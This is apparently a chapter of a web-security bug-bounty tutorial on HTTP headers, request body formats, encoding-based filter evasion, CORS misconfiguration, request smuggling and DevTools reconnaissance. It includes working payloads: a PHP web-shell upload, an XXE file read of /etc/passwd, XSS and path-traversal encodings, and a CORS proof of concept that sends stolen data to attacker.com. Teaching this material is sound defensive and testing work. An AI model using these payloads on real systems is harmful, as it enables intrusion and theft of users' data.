Chapter 1 gave you the macro-architecture. Now go inside the machine — dissect every header, understand every request body format, learn what encodings do and why they break filters, master the browser DevTools as a first-pass interception surface, and understand the key misconfigurations that generate real findings.
Every request header is client-controlled input. Anything the server trusts without validation is a potential attack surface. The table below maps each header to its concrete exploit context.
| Header | Purpose | Attack Surface |
|---|---|---|
Host |
Specifies the target virtual host | High Host Header Injection → password reset link poisoning, web cache poisoning, SSRF via internal routing |
Authorization |
Carries credentials or tokens (Bearer, Basic, Digest) |
JWT algorithm confusion (alg:none), weak HMAC secret bruteforce, token reuse across environments |
Cookie |
Session identifiers sent on every request | High Session hijacking via XSS, CSRF attacks, insecure cookie flags |
Content-Type |
Declares the format of the request body | WAF bypass by switching format (json↔xml↔form-data), CSRF bypass (changing from JSON to form-urlencoded) |
User-Agent |
Identifies browser/client software | Spoofing to access mobile-only endpoints, bypass bot detection, trigger legacy code paths |
Referer |
URL of the page that triggered the request | Apps relying on Referer for access control are bypassable by simply removing or replacing it |
Origin |
The origin domain of the request (used in CORS) | High CORS misconfiguration — if echoed back without validation, cross-origin data theft is possible |
X-Forwarded-For |
Real client IP in proxy chains | High IP allowlist bypass by injecting 127.0.0.1 or 10.0.0.1 — rate limit bypass, geo-restriction bypass |
X-Real-IP |
Alternative real-IP header (nginx) | Same as XFF — try both when testing IP-based restrictions |
Accept-Language |
Client's preferred language | Language-specific code paths may have weaker validation; useful for parameter pollution |
Transfer-Encoding |
Encoding applied to transfer body (chunked) |
Critical HTTP Request Smuggling when combined with Content-Length discrepancies |
Upgrade-Insecure-Requests |
Asks server to redirect to HTTPS | Removing this header can force HTTP responses on poorly configured servers |
Some reverse proxies and load balancers add internal routing headers that back-end applications blindly trust. Common targets: X-Original-URL, X-Rewrite-URL, X-Custom-IP-Authorization. Try setting these to /admin or internal IP ranges on 403 responses. A surprising number of enterprise apps have access control that lives at the proxy layer, not in the app itself.
Response headers are the server's security configuration made visible. A five-second header review can identify entire vulnerability classes before you've sent a single malicious request.
That response is a bug bounty report waiting to be written. Every ⚠ line above represents a finding. Together they indicate a server with minimal security hardening. Here's the complete reference:
| Header | When Present | Missing = Finding? |
|---|---|---|
Set-Cookie: HttpOnly |
JavaScript cannot access this cookie — XSS can't steal it | High XSS → full session hijack |
Set-Cookie: Secure |
Cookie sent only over HTTPS connections | Med Cookie exposed over HTTP |
Set-Cookie: SameSite=Strict/Lax |
Restricts cross-site cookie sending | Med CSRF attacks become viable |
Content-Security-Policy |
Whitelist of trusted script/resource origins | Med Reflected/stored XSS is fully executable |
X-Frame-Options / frame-ancestors |
Blocks page from loading in iframes | Med Clickjacking — UI redressing attacks |
Strict-Transport-Security |
Enforces HTTPS for max-age seconds |
Low SSL stripping on first visit |
X-Content-Type-Options: nosniff |
Prevents MIME-type sniffing | Low Uploaded files executed as wrong type |
Access-Control-Allow-Origin: * |
Wildcard allows any origin to read response | High Any site can steal authenticated data via fetch |
Server / X-Powered-By |
— | Info Version disclosure — aids CVE targeting |
Referrer-Policy |
Controls what Referer header is sent to next page | Low Sensitive URL parameters leak via Referer to third parties |
Permissions-Policy |
Restricts browser features (camera, geolocation, etc.) | Info Third-party scripts may abuse browser APIs |
Before diving into manual testing, run the target through securityheaders.com — it grades every security header and gives you an instant findings list. Also try: curl -I https://target.com in your terminal to dump response headers without loading the page in a browser.
POST, PUT, and PATCH requests carry their data payload in the request body. The Content-Type header tells the server how to parse it. Understanding each format — and what happens when you switch between them — is a core bypass skill.
Content-Type: application/x-www-form-urlencodedPOST /login HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
username=admin&password=secret&remember=1
Key-value pairs separated by &. Values are percent-encoded. This is the default format for HTML <form> submissions. Simple parameter pollution is easy here — try duplicating keys: role=user&role=admin.
Content-Type: application/jsonPOST /api/v1/login HTTP/1.1
Host: app.example.com
Content-Type: application/json
Content-Length: 47
{"username":"admin","password":"secret","otp":null}
Structured JSON object. Modern APIs use this. Key attacks: mass assignment (send extra fields like "role":"admin"), type confusion (send {"password":true} instead of string), prototype pollution in Node.js apps ({"__proto__":{"isAdmin":true}}).
Content-Type: multipart/form-data; boundary=----boundary7MAPOST /upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----boundary7MA
------boundary7MA
Content-Disposition: form-data; name="username"
admin
------boundary7MA
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------boundary7MA--
Used for file uploads. Critical attack vector: file upload bypass. Note the Content-Type is faked as image/jpeg while the filename ends in .php. Servers that only check MIME type (not actual content or extension) will accept and execute this. Chapter 7 covers this in depth.
Content-Type: application/xml (SOAP / Legacy APIs)POST /api/user HTTP/1.1
Host: app.example.com
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxe;</username>
</user>
XML is used in SOAP APIs and some legacy REST endpoints. When an XML parser processes external entity references (DOCTYPE with ENTITY), it can read local files or make internal network requests — this is XXE (XML External Entity) injection. Always try switching Content-Type from JSON to XML on API endpoints.
WAFs and input filters are often tied to a specific content format. If a POST endpoint accepts JSON but you switch to application/x-www-form-urlencoded, the WAF's JSON parser never fires. If it accepts form data, try sending XML — the application may still parse it via a secondary parser while the WAF ignores it. Always test: what happens if I change the Content-Type header to something unexpected?
This is exactly how a login transaction looks when intercepted in a proxy. Study every line — each one is a potential manipulation point.
→ REQUEST (captured in Burp Suite / browser DevTools)POST /api/v1/auth/login HTTP/1.1
Host: app.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: application/json
Content-Type: application/json
Content-Length: 52
Origin: https://app.example.com
Cookie: csrf_token=a1b2c3d4; analytics=xyz
{"username":"admin@example.com","password":"hunter2"}
← RESPONSEHTTP/1.1 200 OK
Date: Mon, 01 Jan 2025 12:00:00 GMT
Content-Type: application/json
Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...; Path=/; HttpOnly; Secure; SameSite=Lax
X-Request-ID: a7f3c8b2-1234-5678-abcd-ef1234567890
{"status":"ok","redirect":"/dashboard","user":{"id":42,"role":"user"}}
What a hunter sees here:
role field. What happens if you send "role":"admin" in the login request body? → Mass assignment test.X-Request-ID is present. Useful for tracking requests in logs — and for blind injection confirmation (does the ID change on error?).HttpOnly + Secure + SameSite=Lax. Good flags — but Lax still allows cookies on top-level GET navigations, which has CSRF implications for certain flows.redirect value in JSON body. Is this value used client-side? If JavaScript reads it and sets window.location, this is an open redirect and potential XSS sink.URLs can only contain a safe subset of ASCII characters. Special characters must be percent-encoded. Beyond spec compliance, encoding is one of the most powerful filter evasion tools available.
%2E%2E%2F = ../Single Encoding — Basic filter bypassBlocked: ?q=<script>alert(1)</script>
Encoded: ?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E
→ WAF checks raw string, decodes after → payload reaches app
Double Encoding — Bypass decode-then-check filtersSingle: %3C (decoded to <)
Double: %253C (decoded to %3C, then again to <)
Attack: ?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E
→ Filter decodes once: sees %3Cscript%3E — not flagged
→ App decodes again: executes <script>
Path Traversal — Encoding variationsBasic: ../../etc/passwd
URL encoded: ..%2F..%2Fetc%2Fpasswd
Double encoded: ..%252F..%252Fetc%252Fpasswd
Unicode: ..%c0%af..%c0%afetc%c0%afpasswd
Null byte: ../../etc/passwd%00.jpg ← truncates .jpg, reads passwd
When a payload is blocked, your first instinct should be encoding mutation — not finding a new payload. A WAF that blocks ' in raw form may not block %27, %2527, ' (HTML entity), or \u0027 (Unicode). Systematically try every encoding layer before concluding a parameter is truly hardened.
CORS (Cross-Origin Resource Sharing) is the mechanism that allows — or blocks — JavaScript running on one origin from reading responses from another origin. Misconfigurations are common and high-severity.
Request:
Origin: https://evil.com
Response:
Access-Control-Allow-Origin: https://trusted.com
→ Browser blocks evil.com from reading response ✓
Request:
Origin: https://evil.com
Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
→ evil.com can read the authenticated response ✗
| Pattern | Vulnerable Code Behaviour | Impact |
|---|---|---|
| Origin reflection | Server echoes back whatever Origin header it receives into Access-Control-Allow-Origin |
Critical Any attacker domain can read authenticated API responses |
| Wildcard + credentials | Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true |
Browsers block this combination — but misconfigured non-browser clients may still be affected |
| Null origin | Server allows Origin: null (sent by sandboxed iframes) |
High Attackers can send Origin: null from a local HTML file or sandboxed iframe |
| Regex bypass | Server validates origin with a weak regex: .*example\.com |
High evilexample.com or example.com.attacker.com passes validation |
| Subdomain trust | Server trusts all subdomains of *.example.com |
If any subdomain is takeover-vulnerable, CORS becomes exploitable |
CORS Exploit PoC — Origin Reflection Attack<!-- Hosted on attacker.com -->
<script>
fetch('https://api.victim.com/user/profile', {
credentials: 'include' // sends victim's session cookies
})
.then(r => r.json())
.then(data => {
// Send stolen data to attacker's server
fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)));
});
</script>
// Works when:
// 1. Server reflects Origin: attacker.com back in ACAO header
// 2. Server sets Access-Control-Allow-Credentials: true
This is one of the most impactful and underestimated vulnerability classes in modern web security. Understanding it starts with understanding how the two body-length headers work.
Two ways to specify request body length:
Content-Length: 47 — Exact byte count of the bodyTransfer-Encoding: chunked — Body sent in chunks, each prefixed with its hex size, terminated by a 0 chunkContent-Length: 13 AND Transfer-Encoding: chunked. Body: 0\r\n\r\nGET /admin0 chunk → thinks first request is done. Treats "GET /admin" as the START of the NEXT request.Request Smuggling is an advanced topic covered fully in Chapter 10. What matters now: understand that Content-Length and Transfer-Encoding are the two headers that define where a request ends — and that disagreement between front-end and back-end parsers about this boundary is the root cause of the entire vulnerability class.
Before deploying Burp Suite, your browser DevTools is a zero-setup interception surface. Every hunter should be fluent in these five tabs.
Copy as cURL → modify → run in terminal for rapid parameter testing.Copy as cURL — Replay from terminal# Right-click request in Network tab → Copy as cURL:
curl 'https://app.example.com/api/user/42' \
-H 'Authorization: Bearer eyJhbGci...' \
-H 'Cookie: session=abc123' \
--compressed
# Modify and replay — test IDOR by changing user ID:
curl 'https://app.example.com/api/user/43' \
-H 'Authorization: Bearer eyJhbGci...' \
-H 'Cookie: session=abc123' \
--compressed
document.cookie to see non-HttpOnly cookies, localStorage to dump all stored values.Console — Quick recon one-liners// Dump all cookies visible to JS (non-HttpOnly):
document.cookie
// Dump all localStorage entries:
Object.entries(localStorage)
// Find all forms on page and their action endpoints:
[...document.forms].map(f => ({id:f.id, action:f.action, method:f.method}))
// Find all links to external domains (potential open redirects):
[...document.links].filter(l => !l.hostname.includes('example.com')).map(l=>l.href)
Ctrl+Shift+F): Search all loaded JS files for: api/, token, secret, password, key, internal, admin, TODO, FIXME. Developers routinely leave credentials and endpoint paths in frontend code..map files are publicly accessible, they expose the original pre-minified source code — a goldmine for finding hidden logic.When developers build a JavaScript app, minified output often references a source map: //# sourceMappingURL=app.js.map. If that .map file is publicly accessible, you can reconstruct the full original source code with variable names, comments, and logic intact. Check: https://target.com/static/js/main.js.map. Tools like source-map-explorer or pmap automate this extraction.
<input type="hidden" name="role" value="user">. Change the value in DevTools and submit to test for mass assignment.data-* attributes on HTML elements — apps sometimes embed user IDs, tokens, or API endpoints directly in the DOM.onclick="load('"+data+"')"Can you identify the difference between Authorization: Basic dXNlcjpwYXNz and Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJpZCI6NDJ9.abc? What encoding is Basic using? What are the three parts of a JWT? What happens if you change the alg field in the JWT header to none?
An endpoint accepts POST with Content-Type: application/json. You want to test if its WAF can be bypassed. Name three alternative Content-Type values you would try. What specific vulnerability class does switching to application/xml potentially introduce?
A target API responds with Access-Control-Allow-Origin: https://evil.com when you send Origin: https://evil.com, and also includes Access-Control-Allow-Credentials: true. Write out the full exploit chain: how would you weaponize this to steal a logged-in user's data from your attacker-controlled site?